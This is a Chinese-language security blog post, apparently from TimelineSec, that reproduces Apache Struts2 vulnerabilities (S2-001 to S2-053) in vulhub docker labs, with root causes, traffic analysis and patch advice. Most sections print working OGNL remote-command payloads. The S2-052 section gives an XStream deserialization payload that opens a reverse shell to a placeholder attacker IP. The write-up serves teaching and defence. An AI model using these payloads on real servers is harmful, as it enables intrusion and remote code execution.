Struts2漏洞合集(一) – 作者:TimelineSec

0x00 环境搭建

这里使用 docker 环境进行的复现,下载完毕后,进入靶场环境,编译 docker 环境,启动 docker 环境,下面以一个实例举例命令:cd xxx 目录

1614856144_6040bfd09726f22c59e29.png!small

自动编译环境

命令:docker-compose build

1614856261_6040c0457e6ee36921e58.png!small?1614856276923

命令:docker-compose build

启动整个编译环境

命令:docker-compose up –d

1614856209_6040c011aab3281878081.png!small?1614856230449

查看是否启动成功

1614856193_6040c00148712d69a2943.png!small?1614856206230

访问靶机 8080 端口即可漏洞练习完成后,关闭当前 docker 环境,启用下一个即可

关闭当前环境命令:docker-compose down -v

1614856240_6040c0300e5df13c96693.png!small?1614856265864

0x01 OGNL

OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

OGNL 三要素:

表达式(Expression)

表达式是整个 OGNL 的核心,所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。

根对象(Root Object)

根对象可以理解为 OGNL 的操作对象。在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。

上下文环境(Context)

有了表达式和根对象,我们实际上已经可以使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在 OGNL 的内部,所有的操作都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。访问 context 对象时候需要在表达式中加上#。

说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操作“在哪里进行”。

OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。上面我们提到的根对象(Root Object),也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(RootObject)的存取操作的表达式是不需要增加#符号进行区分的。

触发途径

通过对一系列的 struts2 的 poc 观察,一般是通过修改 StaticMethodAccess 或是创建

ProcessBuilder 对象。

_memberAccess[“allowStaticMethodAccess”]=true // 用来授权允许调用静态方法或

new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,’/etc/passwd’})).start()

但 struts2 加强了 ognl 的验证,allowStaticMethodAccess 已经变成的 final 属性,但是任然有方法可以绕过。

0x02 S2-001

原理:

该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次 OGNL 表达式解析,因此它的计算就好像表达式是%{%{1 + 1}}一样,所以可以直接构造 Payload 进行命令执行。

影响版本:

Struts 2.0.0 – 2.0.8

漏洞复现

我们先来测试一下这个漏洞有没有存在该安全问题

1614856413_6040c0ddd085f06068098.png!small?1614856428748

1614856407_6040c0d707b606fce3249.png!small?1614856419840

经验证,后端对用户提交的数据参数进行了 OGNL 表达式%{value}进行解析,并成功返回该参数值,说明该漏洞存在

获取当前主机权限信息

POC:

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

1614856538_6040c15a3cebb25abf402.png!small?1614856545861

1614856542_6040c15e8f72bfc649622.png!small?1614856550161

执行任意命令

POC:


%{ #a=(new java.lang.ProcessBuilder(new
java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close() }

1614856612_6040c1a428bf9282a8966.png!small?1614856619776

1614856616_6040c1a87efa026bc3b17.png!small?1614856624109

流量分析

正常访问:

1614856642_6040c1c21a234ecac4be1.png!small?1614856649866

漏洞测试:

1614856655_6040c1cf3091c361e3b7f.png!small?1614856662903

1614856665_6040c1d9292ffb3aaea1b.png!small?1614856672704

1614856676_6040c1e46bd1c1bd4a8a0.png!small?1614856684092

可以看到,我们的正常请求是一个 GET 请求,测试漏洞的时候,是一个 POST 传输,我们在 password 字段传递的值,解码后查看是我们构造的测试 POC:%{‘111’},服务器正常响应 200,响应体中 password 的 value 值为 111。

获取当前主机权限信息

1614856695_6040c1f7e5005c6ec2dcc.png!small?1614856703473

执行任意命令

1614856708_6040c2046194c9edfd870.png!small?1614856716325

再看获取当前主机权限信息的包和执行任意命令的包,和之前的包对比,发现返回结果没有了 password 的 class 对象,返回结果直接在响应体最下方

修复建议

从 XWork 2.0.4 开始,OGNL 解析已更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 + 1}。您可以获取WebWork 2.0.4或Struts 2.0.9,其中包含已更正的XWork 库。或者,您可以获取补丁并将其自己应用于 XWork 源代码。

0x03 S2-005

原理

s2-005 漏洞的起源源于 S2-003(受影响版本: 低于 Struts 2.0.12), struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为 java 代码)。OGNL 表达式通过#来访问 struts 的对象,struts 框架通过过滤#字符防止安全问题,然而通过 unicode 编码(\u0023)或 8 进制(\43)即绕过了安全限制,对于 S2-003 漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用 OGNL 表达式将这 2 个选项打开

影响版本:

Struts 2.0.0-2.1.8.1

0x04 S2-007

原理

age 当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了 OGNL 语句的执行。

影响版本:

Struts 2.0.0 – 2.2.3

漏洞复现

构造 POC:


' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new
java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo, @org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoa mi').getInputStream())) + '

1614858525_6040c91d086b345790e28.png!small?1614858525677

1614858531_6040c923333051423ce3b.png!small?1614858531925

流量分析

1614858557_6040c93dc1d090f802e65.png!small

1614858567_6040c94734c2e938d4b04.png!small?1614858567896

通过查看流量日志,在请求体 age 字段中包含我们构造的 POC,服务器状态码返回 200,响应体中 age 字段 value 值为返回结果。

修复建议

升级到 Struts 2.2.3.1

struts2.2.3.1 对这个漏洞进行了修复,修复方法也异常简单,类似于 sql 注

入的 addslashes,对其中的单引号进行了转义在 getOverrideExpr函数中进行了 StringEscape,从而无法闭合单引号,也就无法构造 OGNL 表达式。

0x05 S2-008

原理

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符

限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋

的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。

影响版本:

Struts 2.1.0 – 2.3.1

漏洞复现

构造 POC:


/devmode.action?debug=command&expression=#context["xwork.
MethodAccessor.denyMethodExecution"]=false,#f=#_memberAcce ss.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setA ccessible(true),#f.set(#_memberAccess,true),#[email protected] me@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensympho ny.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.p rintln(#d),#genxor.flush(),#genxor.close()

1614858983_6040cae735bb2252f6285.png!small?1614858984009

流量分析

1614858996_6040caf47180ddf86cd31.png!small?1614858997528

通过查看流量日志,GET 请求中携带了本次攻击的 POC,服务器状态码返回 200,响应体中为返回结果。

修复建议

强烈建议升级到包含更正后的类的 Struts 2.3.18或更高版本。

更新至 2.3.18 的 Struts 和应用更强的 acceptedParamNames 过滤器的 ParameterInterceptor 和 CookieInterceptor:

acceptedParamNames = “[a-zA-Z0-9\.][()_’]+”;

<span lang=”en-us” xml:lang=”en-us”>0x06 S2-009</span>

原理

OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过

ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。

ParametersInterceptor中的正则表达式将top [‘foo’](0)作为有效的表达式匹配,OGNL将其作为(top [‘foo’])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在 HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。

影响版本

Struts 2.1.0 – 2.3.1.1

漏洞复现

POC1:


/ajax/example5?age=1&name=(%23context[%22xwork.MethodAccessor.denyMet hodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22a llowStaticMethodAccess%22]=true,+%[email protected]@getRuntime() .exec(%27whoami%27).getInputStream(),%23b=new+java.io.InputStreamRead er(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],% 23c.read(%23d),%[email protected]@getR esponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z
[(name)(%27meh%27)]

1614859105_6040cb61abcdf669117d0.png!small?1614859106397

POC2:


POST /ajax/example5 HTTP/1.1
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 419
Host: ********************


z[%28name%29%28%27meh%27%29]&age=1&name=(#context["xwork.MethodAccessor.deny MethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,#[email protected] g.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().get Writer(),#s.println(#d),#s.close())(meh)

1614859133_6040cb7d3757ec32ac8ae.png!small?1614859133956

修复建议

强烈建议升级到Struts2.3.1.2其中包含更正的**OGNL和XWork库。**可能的缓解方法:在 struts.xml 中配置 ParametersIntercptor 以排除恶意参数

如果正确应用以下以下拦截器-引用配置,则可以缓解此问题,仅允许简单的导航表达式:

<interceptor-ref name=”params”><font></font>

<param name=”acceptParamNames”>\w+((\.\w+)|(\[\d+\])|(\[‘\w+’\]))*</param><font></ </interceptor-ref><font></font>

0x07 S2-012

原理

除其他功能外,OGNL 还提供广泛的表达评估功能

包含特制请求参数的请求可用于将任意 OGNL 代码注入属性,然后用作重定向地址的请求参数,这将导致进一步评估。

在S2-003,005,009经解决了 OGNL 评估问题,但是,由于它只涉及参数名称,因此结果得出的修复结果是基于将可接受的参数名称列入白名单并拒绝对参数中包含的表达式进行评估名称,仅部分关闭了漏洞。

当重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时,将进行第二次评估。

这使恶意用户可以将任意 OGNL 语句放入由操作公开的任何未过滤的 String 变量中,并将其评估为 OGNL 表达式,以启用方法执行并执行任意方法,从而绕过 Struts 和 OGNL 库保护。

如 果 在 配 置 Action 中 Result 时 使 用 了 重 定 向 类 型 , 并 且 还 使 用

作为重定向变量,中定义有一个变量,当触发类型返回时,获取使用​{name} 获取其值,

在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

影响版本

Struts 2.1.0-2.3.13

漏洞复现

POC:


%25%7B#a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22whoami% 22%7D)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new%20java.io.InputStr eamReader(#b),#d=new%20java.io.BufferedReader(#c),#e=new%20char%5B50000%5D,#d.rea d(#e),#f=#context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22), #f.getWriter().println(new%20java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()% 7D

1614859322_6040cc3af2cd71daba63c.png!small?1614859323789

通过查看数据包可以看到,通过构造 name 参数,达到漏洞利用的目的

修复建议

升级到 Struts 2.3.14.3

0x08 S2-013

原理

struts2的标签中 和 都有一个 includeParams 属性,可以设置成如下值

none – URL中不包含任何参数(默认)

get – 仅包含URL中的GET参数

all – 在URL中包含GET和POST参数此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行

影响版本

Struts 2.0.0-2.3.14

漏洞复现

POC:


?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D %40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20j ava.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3 Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.Servlet ActionContext%40getResponse().getWriter()%2C%23out.println('p%3D'%2Bnew%20java.lang.Stri ng(%23d))%2C%23out.close()%7D

1614859950_6040ceae54b5eb1213eec.png!small?1614859951131

通过 GET 请求,构造 a 参数执行任意命令

修复建议

升级到 Struts 2.3.14.2,其中包含已更正的 OGNL 和 XWork 库。

0x08 S2-015

原理

如果一个请求与任何其他定义的操作不匹配,它将被匹配*,并且所请求的操作名称将用于以操作名称加载JSP文件。并且,1作为OGNL表达式的威胁值,

{ }可以在服务器端执行任意的Java代码。这个漏洞是两个问题的组合:

请求的操作名称未被转义或再次检查白名单

在translateVariables使用组合$和%开放字符时对OGNL表达式进行双重评。

如果请求与任何其他定义的操作都不匹配,它将被匹配,*并且请求的操作名称将用于基于操作名称加载 JSP 文件。并且{ 1}的值作为 OGNL 表达式受到威胁,因此允许在服务器端执行任意 Java 代码。此漏洞是两个问题的组合:

请求的操作名称未转义或再次选中白名单

TextParseUtil.translateVariables当使用$和%开字符的组合时,对 OGNL 表达式进行双重评估。

影响版本

Struts 2.0.0 – 2.3.14.2

漏洞复现

POC:


%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27% 5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredFiel d%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29 %2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected] mmons.io.IOUtils@toString%[email protected]@getRuntime%28%29.exec%2 8%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action

1614860117_6040cf55ae9f6ede54a32.png!small?1614860118378

1614860123_6040cf5bc5518fc6d42bc.png!small?1614860124448

与其他不同的是,此次请求响应码为 404,返回结果在 Message 字段中。

修复建议

升级到 Struts 2.3.14.3。

0x09 S2-032

原理

当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。

method:<name> Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。

影响版本

Struts 2.3.20 – Struts Struts 2.3.28(2.3.20.3 和 2.3.24.3 除外)

漏洞复现

POC:


/index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_
ACCESS%2c%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()%2c%23w
%3d%23res.getWriter()%2c%23s%3dnew+java.util.Scanner(%40java.lang.Runtime%40getRuntime ().exec(%23parameters.cmd%5b0%5d).getInputStream())%2c%23str%3d%23s.hasNext()%3f%23s.n ext()%3a%23xx%2c%23w.print(%23str)%2c%23w.close()%2c1%3f%23xx%3a%23request.toString&cm d=whoami

1614861654_6040d556bf29ece79abe0.png!small?1614861655400

修复建议

升级到 Struts 2.3.20.3、2.3.24.3 和 2.3.28.1 时不会出现问题

禁用动态方法调用或 ActionMapper 基于推荐的 Apache Struts 版本的源代码实现自己的版本。

0x0A S2-045

原理

struts2的核心是拦截器,漏洞成因就是 struts-default 中的处理上传拦截器 jakarta 组件,会解析错误信息里的 ognl 表达式并执行

在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的 Content-Type值来触发该漏洞,进而执行系统命令。

影响版本

Struts2.3.5 – 2.3.31

Struts2.5 – 2.5.10

漏洞复现

点击 Submit

1614861793_6040d5e1ba548f2590eb1.png!small?1614861794418

POC:


"%{(#xxx='multipart/formdata').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess ?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.Acti onContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.x work2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognl Util.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"wh oami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contai ns('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start( )).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStr eam())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())}"

1614861823_6040d5ff0702c675efc06.png!small?1614861823560

修复建议

Apache Struts 版本 2.3.32 或 2.5.1.0.1

实现 Servlet 过滤器,该过滤器将验证 Content-Type 并丢弃不匹配的可疑值的请求  multipart/form-data。

0x0B <span lang=”en-us” xml:lang=”en-us”>S2-046</span>

原理

使用恶意的 Content-Disposition 值或者使用不合适的 Content-Length 头就可能导致远程命令执行。该漏洞与 S2-045(CVE-20175638)相似,漏洞触发点一样,但利用方式不同。触发漏洞需要满足的条件:

1.Content-Type 中包含 multipart/form-data

2.Content-Disposition 中 filename 包含 OGNL语句

3.文件大小大于 2G(默认情况下),通过设置 Content-Length 就可以了;或者filename 中有空字节\x00

影响版本

Struts 2.3.5-Struts 2.3.31,Struts 2.5- Struts 2.5.10

漏洞复现

POC:


%{#context['com.opensymphony.xwork2.dispatcher.HttpServletRespons e'].addHeader('X-Test',1+99)}\x00b

bp 抓包做 00 截断处理

1614862155_6040d74b3baf80863e102.png!small?1614862156111

POC:


%{(#xxx='multipart/formdata').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_mem berAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.contain er']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#con text.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getPropert y('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash
','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=( @org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apac he.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1614862174_6040d75ea19a00f2b3a1f.png!small?1614862175367

1614862178_6040d7628f8064ed57563.png!small?1614862179330

修复建议

升级到 Apache Struts 版本 2.3.32 或 2.5.1.0.1

0x0C S2-014

原理

以s2-013为例进⾏分析

<s:a>标签与 HTML 中的 <a>标签类似,主要⽤于构造 HTML ⻚⾯中的超链接

<s:url> 标签⽤于创建URL

Struts2 标签中 <s:a> 和 <s:url> 都包含⼀个 includeParams 属性,其值可设置为 none,get 或 all,分别有以下意义: none – 链接不包含请求的任意参数值(默认) get – 链接只包含 GET 请求中的参数和其值 all – 链接包含 GET 和 POST 所有参数和其值

函数执⾏栈:

1614863352_6040dbf806c4e51b29fb4.png!small?1614863352604

位于 org\apache\struts2\views\util\UrlHelper.class 中的 buildParametersString 函数进⾏请求参数的取值,将请求中的参数值赋给 paramValue ,关注如下的逻辑:


for(int i = 0; i < array.length; ++i) {
Object paramValue = array[i];
link.append(buildParameterSubstring(name, paramValue.toString()));
if (i < array.length - 1) {
link.append(paramSeparator);
}

这⾥将的name就是变量名,⽽paramValue就是值:

1614863435_6040dc4b8ef4717dee6ea.png!small?1614863436099

跳转到buildParameterSubstring函数,代码如下:


private static String buildParameterSubstring(String name, Str ing value) {
StringBuilder builder = new StringBuilder();
builder.append(translateAndEncode(name));
builder.append('=');
builder.append(translateAndEncode(value));
return builder.toString();
}

跟⼊ translateAndEncode 函数


public static String translateAndEncode(String input) { 2       String translatedInput = translateVariable(input);

继续跟⼊ translateVariable ,位于 org\apache\struts2\views\util\UrlHelper.class


private static String translateVariable(String input) {
ValueStack valueStack = ServletActionContext.getContext(). getValueStack();
String output = TextParseUtil.translateVariables(input, va lueStack);
return output;
}

下⾯就是ognl表达式的处理逻辑,进⾏translateVariables的回调:

1614863596_6040dcec460fe78574518.png!small?1614863597102

1614863616_6040dd00c52094e13a4a5.png!small?1614863617864

最后经过translateVariables函数解析,执⾏了表达式:

1614863635_6040dd13b002c6706cfb6.png!small?1614863636288

1614863655_6040dd27d82f4edf4a5ef.png!small?1614863656536

对于13的⿊名单修复,限制了%{(#exp)}形式,所以就可以利⽤ ${(#exp)} payload:


${(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_m emberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@ge tRuntime().exec("calc"))}

0x0D S2-052

原理

Struts2 S2-052远程代码执行漏洞和以往的Struts2漏洞是不同的,S2-052利用的是Java反序列化,而不是ognl。本次漏洞触发点是REST插件在解析请求中的xml文件,调用了XStreamandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。

影响版本

Apache Struts 2.5-Apache Struts 2.5.12

环境准备

cd vulhub/struts2/s2-052

systemctl start docker

service docker start

sudo docker-compose build

sudo docker-compose up -d

docker-compose ps   #查看环境信息

1614863856_6040ddf007021a86e1474.png!small?1614863856713

漏洞复现

启动环境后,访问http://your-ip:8080/orders.xhtml以查看展示页面。

1614863878_6040de06bab249e42bf19.png!small?1614863879368

由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtmlorders.xml或修改Content-Type标头为application/xml在主体中传递XML数据。

在burpsuite中抓包改包进行重放,payload如下:

POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2430

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/usr/bin/touch</string>
<string>/tmp/shell.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

1614863919_6040de2fba4af16903ffa.png!small?1614863920341

其中<command></command>字段为执行的命令,在/tmp下创建一个shell.txt文件。重放报错,但可以在容器/tmp文件下发现shell.txt文件,证明漏洞复现成功。

1614863929_6040de3997802e7273b60.png!small?1614863930185

漏洞利用

利用该漏洞反弹shell,payload如下:


POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2496

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/your-ip/4444 0>&amp;1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

在远程命令执行过程中,由于服务器不识别&这个符号,需要编码,将&换成

1614863972_6040de64eeff9c5b855bc.png!small?1614863973644

在攻击机里面监听4444端口,拿到shell。

1614863984_6040de706298e8eb6ecdf.png!small?1614863985104

修复方案

立即升级到Struts 2.5.13。

注意:

新版本使用的默认限制策略会导致REST的一些函数停止工作,会对一些业务造成影响,建议使用以下新的接口:

apache.struts2.rest.handler.AllowedClasses

apache.struts2.rest.handler.AllowedClassNames

apache.struts2.rest.handler.XStreamPermissionProvider

临时修复方案

1.停止使用REST插件。

2.限制服务端扩展类型:


<constant name="struts.action.extension" value="xhtml,,json" />

0x0E S2-053

原理

2017年9月7日,Apache Struts发布最新的安全公告,Apache Struts 2 存在一个远程代码执行漏洞,漏洞编号为CVE-2017-12611(S2-053)。该漏洞源于在处理Freemarker标签时,如使程序员使用了不恰当的编码表达会导致远程代码执行。

漏洞信息页面:https://cwiki.apache.org/confluence/display/WW/S2-053

漏洞成因官方概述:A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals

1614864508_6040e07ce6f939dd29f08.png!small?1614864509746

影响版本

Struts 2.0.1 – Sturts 2.3.33

Struts 2.5 – Struts 2.5.10

漏洞复现

POC:


%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)) .(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). (#cmd='calc').(#iswin= (@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)). (#process=#p.start()).(#ros= (@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())}

1614864641_6040e1010861736402132.png!small?1614864641755

漏洞分析

1614864663_6040e117e18553d255782.png!small?1614864665276

整体的调用流程大概是:

通过freemarker.template.Template类的process方法,开始解析模板。

将 struts2 标签解析成UnifiedCall对象,随即调用 struts2 标签组件进行解析。

解析标签中的各个属性值,遇到OGNL表达式则解析并执行表达式。

此处我们暂不讨论 Freemarker 模板引擎解析模板的过程,我们直接关注org.apache.struts2.components.UIBean这个类。解析过程中会调用这个类的evaluateParams方法

1614864690_6040e132f07f0943cb83b.png!small?1614864692009

这里的this指的是Hidden标签对象(继承自UIBean类),所以此处的this.name即为 hidden 标签的 name 属性值(此处为${message}解析后的值)。跟进findString方法,可以发现其本质上是调用的findValue方法,在方法里面会进行是否内嵌表达式的判断。

1614865158_6040e306dedd66d18bff9.png!small?1614865159463

跟进ComponentUtils.containsExpression方法,可以发现其是通过判断表达式是否被%{}包裹,如果是则返回true,然后进入TextParseUtil.translateVariables方法中。

1614865228_6040e34cab3495577f5d8.png!small?1614865229281

